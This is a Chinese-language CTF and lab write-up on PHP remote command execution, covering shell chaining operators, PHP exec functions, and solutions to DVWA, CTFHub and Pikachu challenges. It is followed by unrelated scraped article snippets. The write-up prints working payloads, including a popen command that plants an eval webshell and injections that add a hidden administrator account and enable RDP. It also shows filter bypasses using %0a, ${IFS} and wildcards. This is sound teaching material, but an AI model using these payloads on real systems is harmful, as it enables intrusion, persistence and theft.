RCE (Remote ????? execution) --->CTF

看这个标题就知道今天的内容不简单!!!! 那么就来讲一下我们的RCE吧

目录

​编辑

1. &? |? ||? &&?

2.PHP命令执行函数&& ''||""

1.""  "

2.exec 

 2.System

3.passthru

4.Backquote反引号

5.Popen

3.DVWA ---> RCE

​编辑

4.CTFHUB -----> RCE

1.RCE ---> eval!!!!

​编辑

2.RCE -->简单注入

3.过滤我cat????

4.涨芝士力!!!

5.不给我用/ \ ?? 有用吗???

6.不能用 | & ??笑死!!

7.这套组合拳可不简单!!!

5.Pikachu靶场!!

1.Exec ping

​编辑

2.Exec eval 

补充!!!

1. &? |? ||? &&?

在开始讲rce之前,需要先去了解一些知识!!! 当我们平常在cmd里面直接:

ping www.baidu.com

基本上都是收到这样的一个回显 

但是如果我们是这样呢???

ping www.baidu.com | whoami

你就会发现很神奇的东西出现了,前面的东西没被解析,反而后面的代码执行了!!! 

所以这里就要开始普及知识了!!!

似乎有点难理解,我用实际的例子来演示一下!!!

对于| 这个很好理解,不多说(但是要区别windows和Linux)如果是;Linux的话,前面如果执行失败,像ping不成功的话,会一直执行下去!!!

对于|| :前面为真的话就执行前面,前面为假的话就执行后面

&:后面的语句一定会执行,前面的语句真或者假都无所谓

&& :必须全部都要是真的才有效!!!

2.PHP命令执行函数&& ''||""

1.""  "

先来讲 "" '' 这两个的区别 ,其实一张图就可以弄清楚他们的区别

从上面的图片就可以看出来, "" 会对所包裹的东西解析,而 '' 则不会!!

2.exec 

这个函数的执行结果是返回是一个数组

<?phpexec("chcp 65001 && ipconfig",$b);
var_dump ($b);
?>

TIPS:建议用var_dump 或者print_r 来输出结果,如果你用echo或者print的话,就会出现以下结果

          

 2.System

该函数会把执行结果输出,并把输出结果的作为字符串返回。(不用echo)

<?php
system("chcp 65001 && ipconfig");
?>

3.passthru

执行外部程序并且显示原始输出!

<?php
passthru("chcp 65001 && ipconfig");
?>

4.Backquote反引号

是不是很奇怪,反引号也能执行命令??? 哈~ 其实反引号就是shell_exec()函数的变体!!!!

但是要echo出来 ,,哈哈你应该猜到了他是以字符串的形式返回的了吧@_!

<?php
echo `chcp 65001 & ipconfig`;
?>

5.Popen

函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令是已经执行了 如下!!

<?php popen('whoami >>D:/2.txt','r'); ?>

以下的方式就是通过只读的方式将“whoami”写进d盘下的2.txt的文件!!!,同理

我们也可以写一句话木马!!!

<?php popen('echo "<?php @eval($_POST["cmd"]);?>" >>D:\phpstudy_pro\WWW\2.php','r'); ?>

虽然生成的文件里面会带有两个 ""

但是蚁剑是可以连接的上的!!!!

3.DVWA ---> RCE

这种就直接用管道符号拼接就可以了!!!!

但是如果单单只是查看whoami的话,怎么能体现出RCE的危害呢??? 那肯定还得这样!!

那其实也很简单,只需要简单的以下步骤就可以!!!!

 1| net user hack 123  /add
1 | net localgroup administrators hack /add
1 | net user hack /active:yes
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

  可以看见是成功创建,并且是管理员账号

由于Windows的家庭版是不能开启3389的端口的,所以上面开启3389端口的命令只适用于其他的版本,而且家庭版是不支持远程连接的!!!!!

4.CTFHUB -----> RCE

1.RCE ---> eval!!!!

首先是它的题目都在疯狂的暗示你要eval!!!所以!! 

先去试一下命令执行!~!!! 

?cmd=phpinfo();

可以看见是能成功回显!!! 而且!!!! 他还是一个Linux的操作系统

所以我们就可以开始操作了!!

?cmd=system("cat /etc/passwd");

这时候有人就想问了,为什么你上面都是直接跟的一个命令 而后面就要用到system去执行!!

那是因为cat ifconfig这些不是php的函数而需要system去执行操作系统的命令!!!

但是似乎flag并不在这里???         

那就只能去看一下别的地方了!!!

?cmd=system("ls /");

终于能看见flag这个字眼了!!!! 

cd一下进去???发现啥也没有,说明,这不是一个目录!!!而是一个文件!!!

那就直接!!!

?cmd=system("cat /flag_12620");

成功拿到flag!!!

ctfhub{fa0ecc5623fdb91c191c715f}

2.RCE -->简单注入

话不多说,直接ls 

1 | ls

可以看见 有这样的一个文件  7982308928311.php  cat一下??

???咋啥都没得??? 难道是权限的问题???

127.0.0.1 && chmod 777 7982308928311.php && cat 7982308928311.php

还是不行??? 当我准备放弃的时候,我想它是不是隐藏了???  F12看看??

好家伙,还真是 !!! 于是就能成功拿到flag!!

ctfhub{fce7ee565332816beeaca8ee}

3.过滤我cat????

很明显的源代码也告诉了我们

if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/cat/", $ip, $m)) {$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

 它就是直接将cat 替换成了空 ,那很简单了,毕竟Linux又不是只有一个cat去查看文件

1 | tail flag_56421672928511.php

 还是阴间的藏flag!!!

不过还是能拿到

ctfhub{dbf23b8a7f2a42423bbc5258}

4.涨芝士力!!!

我们一进去就能看见这样的代码

很明显,正则匹配了我们的空格符号,所以首先我们要用以下的操作

  1. 要用Linux的命令(为什么?ping -c是Linux -n是Windows这个大家还是知道的吧
  2. 不能使用空格!!!
  3. + /**/ 这些占位符号是没有用的,毕竟这不是sql注入!!!不信来看!!

可以看见是并没有解析成功的!!!!

所以就要给出一条这样的命令

1.1.1.1&&cat<flag_1854125836888.php

其中:

<  这是一个重定向符号,用于将一个文件的内容输入到命令中 !!这样就完美的解决了没有空格的问题

成功拿到flag

ctfhub{6a8de490cdfa3ccaf370306d}

5.不给我用/ \ ?? 有用吗???

首先看源代码是可以知道它是不给我们去使用 \ /这些字符的!!! 所以我们就要一步一步走!!

1.1.1.1 | ls

 可以看见是有一个flag_is_here的目录

这里就补充一个知识:

Linux是不可以直接cd etc 导致从/home/kali ----> /etc的 ,但是!!

从/ cd etc ---> /etc 这样是可以的!!

所以思路一下子就清晰了!!!

我们只需要执行这样的poc,就可以看一下flag_is_here里面有什么!!

1.1.1.1 & cd flag_is_here &&ls

能看见是有一个  flag_9337221722918.php 的php文件!!!

所以最终的poc就出来了!!!

1.1.1.1 & cd flag_is_here &&cat flag_409218184117.php

就能得到flag了 !!

ctfhub{300e21f040ac4c07c5bbd170}

6.不能用 | & ??笑死!!

可以看见他是正则匹配了所有的 | & 

if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/(\||\&)/", $ip, $m)) {$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}

所以我们需要不用 | &这些来操作 有没有呢 ?? 有 !! 就是 ;(是不是很像堆叠注入!!😂)

所以poc就出来了!!

1.1.1.1; ls

 可以看见一个php的文件!!

1.1.1.1;cat flag_52932709424208.php

成功拿到flag!!!!

ctfhub{3774821406c088853c387de9}

7.这套组合拳可不简单!!!

这一关,感觉咋绝非善类!!!

if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {

可以看见是直接匹配了 | & ; cat \ flag 可以说是防的很死了!!!

但是!! 道高一张魔高一尺

  1. 过滤 | ? 那我就%0a  (哈哈sql注入是不是也可以)
  2. 过滤 cat ?那我大把 tac tail less more 
  3. 过滤flag??  这里可以用到模糊匹配   ?(用于匹配一个字符)  *用于匹配多个字符!!
  4. 过滤我空格 ?? 可以 ${IFS} 在一些旧版本的Linux会被解释为空格 !!

那么,就开搞吧!!!!

2%0als

   看到flag_is_here的文件夹!!

继续我们的poc!!! 

2%0acd${IFS}fla?_is_here%0als

 看见flag的文件了!!!!

最终的poc!!!

2%0acd${IFS}fla?_is_here%0amore${IFS}fla* 

成功拿到最后的flag!!!

  

ctfhub{8c315dfb71bf4a4181a8b155}

5.Pikachu靶场!!

1.Exec ping

这关就是最简单的直接套poc就好!!

顺便来审计一下它的代码!!

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){$ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255if(stristr(php_uname('s'), 'windows')){var_dump(php_uname('s'));$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理}else {$result.=shell_exec('ping -c 4 '.$ip);}
}

可以看出来是没有对ip进行任何的过滤,于是造成了RCE!!!!

2.Exec eval 

这个也是最简单的一种RCE了吧话不多说,我们直接看源代码!!!!!

话不多说,直接看代码

$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){if(@!eval($_POST['txt'])){$html.="<p>你喜欢的字符还挺奇怪的!</p>";}}

可以看见是直接eval的去执行的!!!!!!

那就只要在post包的内部 txt=system(whoami)    这样就能导致代码执行!!!!!

补充!!!

对于命令执行,我们还有一种办法!!!!

<?php ${assert($_POST['cmd'])};  ?>

是的!! 被${}包裹起来的php代码也是会被执行的!!!!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/702818.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

6、进程、服务管理

一、进程管理 1.概述 进程是正在执行的程序或命令&#xff0c;每一个进程都独立运行&#xff0c;都有自己的地址空间&#xff0c;并占用一定的系统资源以后开发会遇见&#xff1a; 端口占用出现程序假死、卡死 2.查看系统运行进程 语法 ps 参数ps –a:显示当前终端下的所有…

智能SQL生成:后端技术与LLM的完美结合

文章目录 引言一、什么是大模型二、为什么选择LLM三、开发技术说明四、系统架构说明五、编码实战1. Maven2. 讯飞大模型配置类3. LLM相关的封装4. 编写LLM的service5. 编写controller6. 运行测试 六、总结 引言 本篇文章主要是关于实现一个类似Chat2DB的根据自然语言生成SQL的…

开源工具和框架

目录 开源工具和框架 一、 开源工具和框架 二、开源工具和框架在现代软件开发中的角色 1、基础设施建设&#xff1a; 2、开发效率提升&#xff1a; 3、代码质量保障&#xff1a; 4、技术创新&#xff1a; 三、广泛使用的开源项目分析 3.1、Linux 3.2、Git 3.3、Docke…

【Java程序设计】【C00313】基于Springboot的物业管理系统(有论文)

基于Springboot的物业管理系统&#xff08;有论文&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的物业管理系统&#xff0c;本系统有管理员、物业、业主以及维修员四种角色权限&#xff1b; 管理员进入主页面&#xff0c;主要功能包…

mybatis总结传参三

十、&#xff08;不推荐&#xff09;多个参数-按位置传参 参数位置从 0 开始&#xff0c; 引用参数语法 #{ arg 位置 } &#xff0c; 第一个参数是 #{arg0}, 第二个是 #{arg1} 注意&#xff1a; mybatis-3.3 版本和之前的版本使用 #{0},#{1} 方式&#xff0c; 从 myba…

stream流-> 判定 + 过滤 + 收集

List<HotArticleVo> hotArticleVos hotArticleVoList .stream() .filter(x -> x.getChannelId().equals(wmChannel.getId())).collect(Collectors.toList()); 使用Java 8中的Stream API对一个名为hotArticleVoList的列表进行过滤操作&#xff0c;筛选出符合指定条件…

SQL进阶(三):Join 小技巧:提升数据的处理速度

复杂数据结构处理&#xff1a;Join 小技巧&#xff1a;提升数据的处理速度 本文是在原本sql闯关的基础上总结得来&#xff0c;加入了自己的理解以及疑问解答&#xff08;by GPT4&#xff09; 原活动链接 用到的数据&#xff1a;链接 提取码&#xff1a;l03e 目录 1. 课前小问…

stable-diffusion-webui+sadTalker开启GFPGAN as Face enhancer

接上一篇&#xff1a;在autodl搭建stable-diffusion-webuisadTalker-CSDN博客 要开启sadTalker gfpgan as face enhancer&#xff0c; 需要将 1. stable-diffusion-webui/extensions/SadTalker/gfpgan/weights 目录下的文件拷贝到 :~/autodl-tmp/models/GFPGAN/目录下 2.将G…

Spring Boot Profiles简单介绍

Spring Boot application.properties和application.yml文件的配置 阅读本文之前&#xff0c;请先阅读上面的配置文件介绍。 Spring Boot Profiles是一个用于区分不同环境下配置的强大功能。以下是如何在Spring Boot应用程序中使用Profiles的详细步骤和代码示例。 1. 创…

【openGL教程08】基于C++的着色器(02)

LearnOpenGL - Shaders 一、说明 着色器是openGL渲染的重要内容&#xff0c;客户如果想自我实现渲染灵活性&#xff0c;可以用着色器进行编程&#xff0c;这种程序小脚本被传送到GPU的显卡内部&#xff0c;起到动态灵活的着色作用。 二、着色器简述 正如“Hello Triangle”一章…

鸿蒙开发-UI-图形-绘制几何图形

鸿蒙开发-UI-组件 鸿蒙开发-UI-组件2 鸿蒙开发-UI-组件3 鸿蒙开发-UI-气泡/菜单 鸿蒙开发-UI-页面路由 鸿蒙开发-UI-组件导航-Navigation 鸿蒙开发-UI-组件导航-Tabs 鸿蒙开发-UI-图形-图片 文章目录 前言 一、绘制组件 二、形状视口 三、自定义样式 四、使用场景 总结 前…

贪心算法学习

贪心算法&#xff08;Greedy Algorithm&#xff09;是一种在每一步选择中都采取在当前状态下最好或最优&#xff08;即最有利&#xff09;的选择&#xff0c;从而希望导致结果是全局最好或最优的算法。贪心算法在有最优子结构的问题中尤为有效。然而&#xff0c;要注意的是贪心…

【C++进阶】STL容器--list底层剖析(迭代器封装)

目录 前言 list的结构与框架 list迭代器 list的插入和删除 insert erase list析构函数和拷贝构造 析构函数 拷贝构造 赋值重载 迭代器拷贝构造、析构函数实现问题 const迭代器 思考 总结 前言 前边我们了解了list的一些使用及其注意事项&#xff0c;今天我们进一步深入…

2024年2月16日优雅草蜻蜓API大数据服务中心v1.1.1大更新-UI全新大改版采用最新设计ui·增加心率计算器·退休储蓄计算·贷款还款计算器等数接口

2024年2月16日优雅草蜻蜓API大数据服务中心v1.1.1大更新-UI全新大改版采用最新设计ui增加心率计算器退休储蓄计算贷款还款计算器等数接口 更新日志 前言&#xff1a;本次更新中途跨越了很多个版本&#xff0c;其次本次ui大改版-同步实时发布教程《带9.7k预算的实战项目layuiph…

JavaWeb——006MYSQL(DDLDML)

这里写目录标题 数据库开发-MySQL首先来了解一下什么是数据库。1. MySQL概述1.1 安装1.1.1 版本1.1.2 安装1.1.3 连接1.1.4 企业使用方式(了解) 1.2 数据模型1.3 SQL简介1.3.1 SQL通用语法1.3.2 分类 2. 数据库设计-DDL2.1 项目开发流程2.2 数据库操作2.2.1 查询数据库2.2.2 创…

vscode 设置打开中断的默认工作目录/路径

vscode 设置打开终端的默认工作目录/路径** 文章目录 vscode 设置打开终端的默认工作目录/路径**打开vscode&#xff0c;打开设置UI 或是设置JSON文件&#xff0c;找到相关设置项方式1&#xff1a;通过打开settings.json的UI界面 设置:方式2&#xff1a;通过打开设置settings.j…

ES通用查询页面使用说明

前言:ES语法比较复杂,需要专门的学习,而且查询工具不太友好, 对公司运维人员使用有点困难,所以花了个时间做了一个页面,方便运维人员使用,如下。 也不难,有兴趣的朋友可以私聊发源码。 开发帮助-ES数据查询 搜索 输入要查看的文档索引,文档类型后点【查询】即可 搜…

qt-C++笔记之事件过滤器

qt-C笔记之事件过滤器 —— 杭州 2024-02-25 code review! 文章目录 qt-C笔记之事件过滤器一.使用事件过滤器和不使用事件过滤器对比1.1.使用事件过滤器1.2.不使用事件过滤器1.3.比较 二.Qt 中事件过滤器存在的意义三.为什么要重写QObject的eventFilter方法&#xff1f;使用QO…

groovy:XmlParser 读 Freeplane.mm文件,生成测试案例.csv文件

Freeplane 是一款基于 Java 的开源软件&#xff0c;继承 Freemind 的思维导图工具软件&#xff0c;它扩展了知识管理功能&#xff0c;在 Freemind 上增加了一些额外的功能&#xff0c;比如数学公式、节点属性面板等。 强大的节点功能&#xff0c;不仅仅节点的种类很多&#xff…

时序预测 | Matlab实现基于GRNN广义回归神经网络的光伏功率预测模型

文章目录 效果一览文章概述源码设计参考资料效果一览 文章概述 1.时序预测 | Matlab实现基于GRNN广义回归神经网络的光伏功率预测模型 2.单变量时间序列预测; 3.多指标评价,评价指标包括:R2、MAE、MBE等,代码质量极高; 4.excel数据,方便替换,运行环境2020及以上。 广义回…